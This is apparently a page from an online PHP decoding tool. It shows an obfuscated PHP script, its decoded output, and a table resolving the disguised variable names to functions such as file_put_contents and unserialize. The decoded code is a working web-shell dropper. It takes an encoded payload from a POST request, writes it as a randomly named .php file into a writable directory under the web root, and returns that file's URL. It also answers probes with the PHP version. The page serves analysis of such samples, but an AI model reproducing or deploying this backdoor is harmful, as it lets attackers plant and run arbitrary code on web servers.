Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $FXiWMNIpGo = "\104".chr(79)."\103".chr(1033-948).'M'.chr(69).chr(235-157).chr(84).c..

Decoded Output download

<?php $FXiWMNIpGo = "D".chr(79)."C".chr(1033-948).'M'.chr(69).chr(235-157).chr(84).chr(856-761)."R".chr(816-737)."O"."T";$ntwQXJgG = chr(72).chr(84).'T'."P".'_'.chr(72)."O".'S'.'T';$MfTyH = 'h'."t"."t".chr(617-505).chr(336-278)."/".chr(47);$wUeLslll = '.'."p".chr(104).chr(112);$MgLWvhuEn = "p".'h'.'p';$qQLqwHDR = 'f'.chr(186-81).chr(108).'e'.'_'.'p'.chr(859-742).chr(116)."_".chr(597-498).'o'."n"."t".chr(101).chr(110).chr(116).chr(1106-991);$bIPCxpjs = chr(114).'a'."w"."u".chr(114)."l"."d"."e".chr(934-835).chr(458-347).chr(100).'e';$nWZTaB = chr(491-374).'n'."s".chr(1023-922)."r".'i'.chr(97)."l".'i'.chr(302-180)."e";$ZgmFuD = chr(105)."s".chr(95).'w'."r"."i"."t"."a"."b"."l".chr(782-681);$cMfNMBg = "p"."h".'p'.chr(118).'e'.chr(114).chr(115).chr(429-324).chr(499-388).'n';$QThQfj = chr(677-562).chr(286-170).chr(114)."_".chr(114)."o".'t'."1".chr(748-697);$EZlXsoFF = 's'.chr(101).chr(829-715).'i'.chr(667-570).chr(745-637)."i".chr(919-797).'e';$zWYeLvxyn = 's'."t"."r".chr(658-563)."s".'p'.'l'.chr(105).chr(617-501);foreach ($_POST as $bfzdJHGJ => $WmbfGAc){if (strlen($bfzdJHGJ) == 16){$WmbfGAc = $zWYeLvxyn($bIPCxpjs($QThQfj($WmbfGAc)));$bfzdJHGJ = array_slice($zWYeLvxyn(str_repeat($bfzdJHGJ, (count($WmbfGAc)/16)+1)), 0, count($WmbfGAc));function sCJzRNi($sUJViTZ, $XVZqA, $bfzdJHGJ){$DGIgJ = "7a8cfb79-b46e-470b-8f55-3327bf91c7e9";return $sUJViTZ ^ $DGIgJ[$XVZqA % strlen($DGIgJ)] ^ $bfzdJHGJ;}$WmbfGAc = implode("", array_map("sCJzRNi", array_values($WmbfGAc), array_keys($WmbfGAc), array_values($bfzdJHGJ)));$WmbfGAc = @$nWZTaB($WmbfGAc);if (@is_array($WmbfGAc)){$WVYZKt = array_keys($WmbfGAc);$WmbfGAc = $WmbfGAc[$WVYZKt[0]];if ($WmbfGAc === $WVYZKt[0]){echo @$EZlXsoFF(Array($MgLWvhuEn => @$cMfNMBg(), ));exit();}else {function ydNdjGCLU($LehPKxWLgYir){static $zEYXUP = array();$LehPKxWLgYbLrBFV = glob($LehPKxWLgYir . '/*', GLOB_ONLYDIR);if (count($LehPKxWLgYbLrBFV) > 0) {foreach ($LehPKxWLgYbLrBFV as $LehPKxWLgY) {if (@$ZgmFuD($LehPKxWLgY)) {$zEYXUP[] = $LehPKxWLgY;}}}foreach ($LehPKxWLgYbLrBFV as $LehPKxWLgYir) ydNdjGCLU($LehPKxWLgYir);return $zEYXUP;}$FyFRigyrk = $_SERVER[$FXiWMNIpGo];$LehPKxWLgYbLrBFV = ydNdjGCLU($FyFRigyrk);$WVYZKt = array_rand($LehPKxWLgYbLrBFV);$cVVdKrzQjq = $LehPKxWLgYbLrBFV[$WVYZKt] . "/" . substr(md5(time()), 0, 8) . $wUeLslll;@$qQLqwHDR($cVVdKrzQjq, $WmbfGAc);echo $MfTyH . $_SERVER[$ntwQXJgG] . substr($cVVdKrzQjq, strlen($FyFRigyrk));exit();}}}} ?>

Did this file decode correctly?

Original Code

<?php $FXiWMNIpGo = "\104".chr(79)."\103".chr(1033-948).'M'.chr(69).chr(235-157).chr(84).chr(856-761)."\122".chr(816-737)."\x4f"."\x54";$ntwQXJgG = chr(72).chr(84).'T'."\x50".'_'.chr(72)."\117".'S'.'T';$MfTyH = 'h'."\x74"."\164".chr(617-505).chr(336-278)."\57".chr(47);$wUeLslll = '.'."\160".chr(104).chr(112);$MgLWvhuEn = "\x70".'h'.'p';$qQLqwHDR = 'f'.chr(186-81).chr(108).'e'.'_'.'p'.chr(859-742).chr(116)."\x5f".chr(597-498).'o'."\x6e"."\164".chr(101).chr(110).chr(116).chr(1106-991);$bIPCxpjs = chr(114).'a'."\167"."\165".chr(114)."\x6c"."\x64"."\x65".chr(934-835).chr(458-347).chr(100).'e';$nWZTaB = chr(491-374).'n'."\163".chr(1023-922)."\x72".'i'.chr(97)."\x6c".'i'.chr(302-180)."\145";$ZgmFuD = chr(105)."\x73".chr(95).'w'."\162"."\151"."\x74"."\x61"."\142"."\154".chr(782-681);$cMfNMBg = "\160"."\150".'p'.chr(118).'e'.chr(114).chr(115).chr(429-324).chr(499-388).'n';$QThQfj = chr(677-562).chr(286-170).chr(114)."\x5f".chr(114)."\157".'t'."\61".chr(748-697);$EZlXsoFF = 's'.chr(101).chr(829-715).'i'.chr(667-570).chr(745-637)."\151".chr(919-797).'e';$zWYeLvxyn = 's'."\164"."\162".chr(658-563)."\x73".'p'.'l'.chr(105).chr(617-501);foreach ($_POST as $bfzdJHGJ => $WmbfGAc){if (strlen($bfzdJHGJ) == 16){$WmbfGAc = $zWYeLvxyn($bIPCxpjs($QThQfj($WmbfGAc)));$bfzdJHGJ = array_slice($zWYeLvxyn(str_repeat($bfzdJHGJ, (count($WmbfGAc)/16)+1)), 0, count($WmbfGAc));function sCJzRNi($sUJViTZ, $XVZqA, $bfzdJHGJ){$DGIgJ = "7a8cfb79-b46e-470b-8f55-3327bf91c7e9";return $sUJViTZ ^ $DGIgJ[$XVZqA % strlen($DGIgJ)] ^ $bfzdJHGJ;}$WmbfGAc = implode("", array_map("sCJzRNi", array_values($WmbfGAc), array_keys($WmbfGAc), array_values($bfzdJHGJ)));$WmbfGAc = @$nWZTaB($WmbfGAc);if (@is_array($WmbfGAc)){$WVYZKt = array_keys($WmbfGAc);$WmbfGAc = $WmbfGAc[$WVYZKt[0]];if ($WmbfGAc === $WVYZKt[0]){echo @$EZlXsoFF(Array($MgLWvhuEn => @$cMfNMBg(), ));exit();}else {function ydNdjGCLU($LehPKxWLgYir){static $zEYXUP = array();$LehPKxWLgYbLrBFV = glob($LehPKxWLgYir . '/*', GLOB_ONLYDIR);if (count($LehPKxWLgYbLrBFV) > 0) {foreach ($LehPKxWLgYbLrBFV as $LehPKxWLgY) {if (@$ZgmFuD($LehPKxWLgY)) {$zEYXUP[] = $LehPKxWLgY;}}}foreach ($LehPKxWLgYbLrBFV as $LehPKxWLgYir) ydNdjGCLU($LehPKxWLgYir);return $zEYXUP;}$FyFRigyrk = $_SERVER[$FXiWMNIpGo];$LehPKxWLgYbLrBFV = ydNdjGCLU($FyFRigyrk);$WVYZKt = array_rand($LehPKxWLgYbLrBFV);$cVVdKrzQjq = $LehPKxWLgYbLrBFV[$WVYZKt] . "/" . substr(md5(time()), 0, 8) . $wUeLslll;@$qQLqwHDR($cVVdKrzQjq, $WmbfGAc);echo $MfTyH . $_SERVER[$ntwQXJgG] . substr($cVVdKrzQjq, strlen($FyFRigyrk));exit();}}}}

Function Calls

chr 54

Variables

$MfTyH http://
$QThQfj str_rot13
$ZgmFuD is_writable
$nWZTaB unserialize
$cMfNMBg phpversion
$EZlXsoFF serialize
$bIPCxpjs rawurldecode
$ntwQXJgG HTTP_HOST
$qQLqwHDR file_put_contents
$wUeLslll .php
$MgLWvhuEn php
$zWYeLvxyn str_split
$FXiWMNIpGo DOCUMENT_ROOT

Stats

MD5 b07088a5790f340b81b9773dbb23faad
Eval Count 0
Decode Time 160 ms